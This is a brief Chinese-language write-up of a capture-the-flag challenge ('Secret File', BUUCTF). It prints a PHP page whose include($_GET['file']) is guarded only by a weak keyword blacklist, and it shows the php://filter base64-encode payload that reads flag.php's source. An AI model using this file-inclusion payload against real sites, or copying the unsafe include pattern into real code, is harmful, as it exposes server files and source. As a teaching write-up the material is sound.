复现环境
https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]Secret%20File
考察知识点
- 代码审计
- 文件包含
解题分析
访问题目链接是个无交互页面,查看源码发现./Archive_room.php 访问该文件。
Archive_room.php绝密档案,点击SECRET直接跳转到end.php,刚开始一头雾水,后来意识到问题可能出在重定向哪里。
绝密档案看到了隐藏文件secr3t.php
secr3t.phpsecr3t.php的内容是一段代码审计,读取file参数,显示读取路径的文件,此处用了include函数是一个文件包含。
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里 ?>
</html>
直接包含flag.php ,无法显示,大概作者把flag设置成变量了。
secr3t.php?file=flag.php
要想办法读取源码,那文件包含读取源码的方式可以通过php://filter/read=convert.base64-encode/resource= 利用LFI来查看源码
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
把读取出来的代码,放到在线平台解密
base64
网友评论